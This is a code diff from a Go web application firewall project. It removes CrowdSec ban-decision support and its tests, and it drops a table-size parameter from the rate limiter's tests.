func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
}
}
hit, over := limiter.CountRefusal(client, start, limit)
want := ratelimit.Hit{
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
}
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
}
func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -314,7 +267,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
func TestResetSetsTheCountsBackToZero(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -336,7 +289,7 @@ func TestResetSetsTheCountsBackToZero(t *testing.T) {
func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -355,8 +308,7 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
func TestRefusedRequestsCount(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit})
refused := netip.MustParsePrefix("203.0.113.9/32")
within := netip.MustParsePrefix("203.0.113.10/32")
start := midnight()
@@ -389,7 +341,7 @@ func TestRefusedRequestsCount(t *testing.T) {
func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -405,7 +357,7 @@ func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -428,12 +380,12 @@ func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
wantCount(t, limiter, client, setBack, hour)
}
func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) {
t.Parallel()
const maxClients = 3
const maxClients = 20000
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1})
now := midnight()
clients := make([]netip.Prefix, maxClients+1)
@@ -455,11 +407,6 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
// One client more drops the least recently seen, the second, which
// starts afresh, while the first is kept.
wantCount(t, limiter, clients[maxClients], now, "")
if limiter.Len() != maxClients {
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
}
wantCount(t, limiter, clients[1], now, "")
wantCount(t, limiter, clients[0], now, minute)
}
internal/ratelimit/snapshot_test.go
+13 -20
View File
@@ -14,7 +14,7 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
for _, i := range []int{2, 3, 0, 1} {
limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
}
@@ -43,7 +43,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
before := ratelimit.New(ratelimit.Limits{PerHour: limit})
for range limit {
wantCount(t, before, client, start, "")
}
@@ -51,7 +51,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
// Loaded into a new limiter, as across a restart, the client has no
// fresh allowance.
later := start.Add(time.Minute)
after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
after := ratelimit.New(ratelimit.Limits{PerHour: limit})
after.Load(before.Snapshot(), later)
wantCount(t, after, client, later, hour)
}
@@ -62,24 +62,23 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
limiter.Count(client, start, whole)
limiter.CountBytes(client, start, 5, whole)
limiter.CountRefusal(client, start, limit)
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
loaded := func(now time.Time) ratelimit.Client {
t.Helper()
after := ratelimit.New(ratelimit.Limits{}, tableSize)
after := ratelimit.New(ratelimit.Limits{})
after.Load(limiter.Snapshot(), now)
return after.Snapshot()[0]
}
// Two minutes on, the window that ends then covers none of the
// minute's buckets, of requests, of bytes and of refusals, which are
// emptied; the hour's and the day's stay, and so does the history.
// Two minutes on, the window that ends then covers neither of the
// minute's buckets, of requests and of bytes, which are emptied; the
// hour's and the day's stay, and so does the history.
got := loaded(start.Add(2 * time.Minute))
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
got.Day.Current != 1 || got.History.Requests != 1 {
@@ -92,24 +91,18 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got.MinuteBytes, got.HourBytes, got.DayBytes)
}
if got.MinuteRefusals != (ratelimit.Buckets{}) {
t.Errorf("loaded two minutes on with buckets of refusals %+v",
got.MinuteRefusals)
}
// A moment before, the window still covers some of the earlier one.
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 {
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 {
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v",
got.Minute, got.MinuteBytes)
}
}
func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
t.Parallel()
const maxClients = 3
const maxClients = 20000
// clients.json lists the clients by address. Here each was last seen
// a second before the one listed before it, so the last listed is the
@@ -123,7 +116,7 @@ func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
addr = addr.Next()
}
limiter := ratelimit.New(ratelimit.Limits{}, maxClients)
limiter := ratelimit.New(ratelimit.Limits{})
limiter.Load(clients, midnight())
got := limiter.Snapshot()
internal/reputation/crowdsec_test.go
-513
View File
@@ -1,513 +0,0 @@
package reputation_test
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"reflect"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
// The tests run in a synctest bubble, as those of the blocklists do, and
// fetch the decision list from engine, a stand-in for a CrowdSec engine
// that answers without the network.
const (
// decisionsURL is the decision list of the tests' engine, and engineKey
// the key it answers.
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
engineKey = "crowdsec-key-0123456789abcdef"
// sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, and rangeScope the scope of a
// decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
manual := "manual 'ban' from 'localhost'"
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
{"Country", "KP", ban, manual, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
for addr, want := range map[string]reputation.Decision{
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
"203.0.113.10": {},
"198.51.101.0": {},
"2001:db8::2": {},
"192.0.2.50": {},
} {
wantDecision(t, lists, addr, want)
}
// With the engine down, the copy kept still holds the decision on
// 198.51.100.0/24, which no longer bans once it has ended.
e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7",
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
})
}
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1)
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
e.set(func(e *engine) {
e.decisions = append(e.decisions,
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
})
time.Sleep(time.Minute - time.Nanosecond)
wantEngineFetches(t, e, 1)
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
time.Sleep(time.Nanosecond)
wantEngineFetches(t, e, 2)
wantDecision(t, lists, "203.0.113.10", added)
})
}
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
wantDecision(t, lists, "198.51.100.130",
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
wantDecision(t, lists, "192.0.2.20",
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T,
) {
t.Parallel()
for _, tc := range crowdSecFailures() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
queue := newQueue()
p := crowdSecParams()
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
p.Alerts = queue
lists := start(t, e, p)
kept := lists.Snapshot()
e.set(tc.fail)
// Each failure is tried again a minute after it.
for range 2 {
time.Sleep(time.Minute)
synctest.Wait()
}
wantEngineFetches(t, e, 3)
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
want := kept[0]
want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
}
if lists.Failures(decisionsURL) != 2 {
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
}
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue,
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
wantKeyNotShown(t, e, log.String(), lists, queue)
})
})
}
}
// crowdSecFailure is a way for the engine to fail: fail has it answer the
// fetches after the first so that they fail with error.
type crowdSecFailure struct {
name string
fail func(e *engine)
error string
}
// crowdSecFailures returns the ways the engine can fail.
func crowdSecFailures() []crowdSecFailure {
const notDecision = " does not give an address or a netblock and a duration, " +
"such as 4h0m0s"
return []crowdSecFailure{
{
"an answer other than 200",
func(e *engine) { e.failing = true },
"the server answered 503 Service Unavailable",
},
{
"a key the engine refuses",
func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden",
},
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{
"an answer that does not read",
func(e *engine) { e.answer = "<html>" },
"read the answer: invalid character '<' looking for beginning of value",
},
{
"a decision to ban whose value does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
},
"decision 1" + notDecision,
},
{
"a decision to ban whose duration does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
`"type": "ban", "value": "198.51.100.0/24"}]`
},
"decision 2" + notDecision,
},
}
}
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// reputation.json keeps.
func wantKeyNotShown(
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
) {
t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil {
t.Fatalf("encode: %v", err)
}
if strings.Contains(log+string(shown), engineKey) {
t.Errorf("the key is shown in\n%s\n%s", log, shown)
}
}
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
// Restarted half an hour later with what reputation.json keeps, and
// the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on.
time.Sleep(30 * time.Minute)
down := &engine{key: engineKey, failing: true}
again := reputation.New(crowdSecParams())
again.SetTransport(down)
err := again.Load(kept)
if err != nil {
t.Fatalf("load: %v", err)
}
run(t, again)
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
})
}
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
lists := reputation.New(crowdSecParams())
// Tried, and never fetched: there is no copy to read.
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
if err != nil {
t.Errorf("load the list never fetched: %v", err)
}
err = lists.Load([]reputation.List{{
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
`"value": "198.51.100.0/33"}]`,
},
}})
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
"address or a netblock and a duration, such as 4h0m0s"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
// engine is a stand-in for the local API of a CrowdSec engine. It answers
// a fetch of the decision list that carries its key in X-Api-Key with its
// decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does,
// with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct {
mu sync.Mutex
key string
decisions []decision
answer string
redirect string
failing bool
fetches int
keySentTo []string
}
// decision is a decision of the engine, which ends at expires.
type decision struct {
scope, value, kind, scenario string
expires time.Time
}
// RoundTrip has the engine answer req, in place of the network.
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.mu.Lock()
defer e.mu.Unlock()
e.fetches++
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
body = e.inForce(time.Now())
}
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: header,
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
}
// inForce returns the decisions in force at now, as the engine answers
// them: a JSON list, null for none.
func (e *engine) inForce(now time.Time) string {
var answer []map[string]string
for _, d := range e.decisions {
if now.Before(d.expires) {
answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
})
}
}
body, err := json.Marshal(answer)
if err != nil {
panic(err) // a list of maps of strings always encodes
}
return string(body)
}
// set changes the engine with change.
func (e *engine) set(change func(e *engine)) {
e.mu.Lock()
defer e.mu.Unlock()
change(e)
}
// crowdSecParams returns the Params of the decision list of the tests'
// engine, fetched with its key, by the bubble's clock, with alerts to a
// queue that sends none.
func crowdSecParams() reputation.Params {
p := params()
p.CrowdSecDecisionsURL = decisionsURL
p.CrowdSecKey = engineKey
return p
}
// wantEngineFetches waits until Run has made the fetches due, and checks
// how many the engine has had.
func wantEngineFetches(t *testing.T, e *engine, want int) {
t.Helper()
synctest.Wait()
e.mu.Lock()
got := e.fetches
e.mu.Unlock()
if got != want {
t.Errorf("%d fetches, want %d", got, want)
}
}
// wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none.
func wantDecision(
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
) {
t.Helper()
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
if listed != !want.Expires.IsZero() ||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
}
}
internal/reputation/export_test.go
-1
View File
@@ -11,7 +11,6 @@ import (
// network.
func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
}
// SetTransport has a's checks go through transport instead of the
internal/reputation/reputation.go
+31 -174
View File
@@ -1,9 +1,8 @@
// Package reputation fetches the lists the settings name by URL: the
// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of
// blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each,
// whole, comment lines included, which is used while a fetch fails, and
// when each was last tried. It also asks the DNSBL zones of
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to reputation.json and
@@ -12,7 +11,6 @@ package reputation
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
@@ -34,10 +32,6 @@ const (
maxListBytes = 16 << 20
// fetchTimeout bounds one fetch of a list.
fetchTimeout = time.Minute
// crowdSecRefresh is how long after the CrowdSec decision list was last
// fetched or tried it is fetched again: the engine is the operator's
// own, and makes and ends decisions all the time.
crowdSecRefresh = time.Minute
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
// IPv4-mapped address.
mappedBits = 96
@@ -49,8 +43,6 @@ var (
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s")
)
// List is a list as reputation.json holds it: the URL it is fetched from,
@@ -71,14 +63,8 @@ type Params struct {
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string
ASNLimitPercentURL string
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is
// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
// fetched again (SWWAF_BLOCKLIST_REFRESH).
Refresh time.Duration
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
@@ -93,10 +79,6 @@ type Params struct {
type Lists struct {
params Params
httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex
// lists are by URL, one for each URL Params names.
@@ -113,36 +95,17 @@ type list struct {
}
// entries are what the lines of a copy say: for a blocklist, the netblocks
// it names, with the lengths among them, for the file of AS:percent lines,
// the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths
// among them.
// it names, with the lengths among them, and for the file of AS:percent
// lines, the percentage it gives each AS number.
type entries struct {
netblocks map[netip.Prefix]bool
lengths []int
percents map[string]int64
decisions map[netip.Prefix]Decision
}
// Decision is a decision of the CrowdSec engine to ban a netblock: when
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
type Decision struct {
Expires time.Time
Scenario string
}
// New returns the lists, without a copy of any yet.
func New(params Params) *Lists {
l := &Lists{
params: params,
httpClient: &http.Client{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{},
}
l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}}
for _, listURL := range l.URLs() {
l.lists[listURL] = &list{kept: List{URL: listURL}}
@@ -152,18 +115,13 @@ func New(params Params) *Lists {
}
// URLs returns the URL of every list: the blocklists' in the order
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
// the CrowdSec decision list's.
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL.
func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" {
urls = append(urls, l.params.ASNLimitPercentURL)
}
if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL)
}
return urls
}
@@ -199,37 +157,6 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
return percent, listed
}
// CrowdSecDecision returns the decision of the copy of the CrowdSec
// decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false
}
l.mu.Lock()
defer l.mu.Unlock()
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
var last Decision
for _, length := range kept.lengths {
netblock, err := addr.Prefix(length)
if err != nil {
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
}
decision := kept.decisions[netblock]
if decision.Expires.After(last.Expires) {
last = decision
}
}
return last, now.Before(last.Expires)
}
// Fetched returns when the copy in use of the list at listURL was
// fetched, or zero while there is none.
func (l *Lists) Fetched(listURL string) time.Time {
@@ -247,9 +174,10 @@ func (l *Lists) Failures(listURL string) int {
return l.lists[listURL].failures
}
// Run fetches each list once it is due, as due tells, until ctx is done. A
// list never tried is fetched at once, and so is one that is due by its
// last try or copy read from reputation.json.
// Run fetches each list once Refresh has passed since it was last fetched
// or tried, the later of the two, until ctx is done. A list never tried is
// fetched at once, and so is one whose last try or copy, read from
// reputation.json, is that old.
func (l *Lists) Run(ctx context.Context) {
if len(l.lists) == 0 {
return
@@ -297,12 +225,11 @@ func (l *Lists) Load(lists []List) error {
found := make(map[string]entries, len(lists))
for _, kept := range lists {
_, named := l.lists[kept.URL]
if !named || kept.Fetched.IsZero() {
continue // dropped, or a list tried but never fetched, without a copy
if _, named := l.lists[kept.URL]; !named {
continue
}
read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
read, err := l.parse(kept.URL, kept.Lines)
if err != nil {
return fmt.Errorf("the copy of %s: %w", kept.URL, err)
}
@@ -318,8 +245,9 @@ func (l *Lists) Load(lists []List) error {
}
for _, kept := range lists {
if _, named := l.lists[kept.URL]; named {
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL]
read, named := found[kept.URL]
if named {
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, read
}
}
@@ -348,8 +276,7 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
}
// due returns when the list at listURL is to be fetched: Refresh after it
// was last fetched or tried, the later of the two, or crowdSecRefresh
// after for the CrowdSec decision list.
// was last fetched or tried, the later of the two.
func (l *Lists) due(listURL string) time.Time {
l.mu.Lock()
defer l.mu.Unlock()
@@ -361,10 +288,6 @@ func (l *Lists) due(listURL string) time.Time {
last = held.kept.Tried
}
if listURL == l.params.CrowdSecDecisionsURL {
return last.Add(crowdSecRefresh)
}
return last.Add(l.params.Refresh)
}
@@ -375,14 +298,14 @@ func (l *Lists) due(listURL string) time.Time {
// so that a restart waits for it: the server may have had its request.
func (l *Lists) fetch(ctx context.Context, listURL string) {
lines, err := l.get(ctx, listURL)
now := l.params.Now()
var found entries
if err == nil {
found, err = l.parse(listURL, lines, now)
found, err = l.parse(listURL, lines)
}
cutOff := err != nil && ctx.Err() != nil
now := l.params.Now()
l.mu.Lock()
@@ -427,11 +350,8 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
})
}
// get fetches the list at listURL, and returns its lines. The CrowdSec
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it, by crowdSecClient, which follows no redirect.
// An answer other than 200, or a list longer than maxListBytes, is a
// failure.
// get fetches the list at listURL, and returns its lines. An answer other
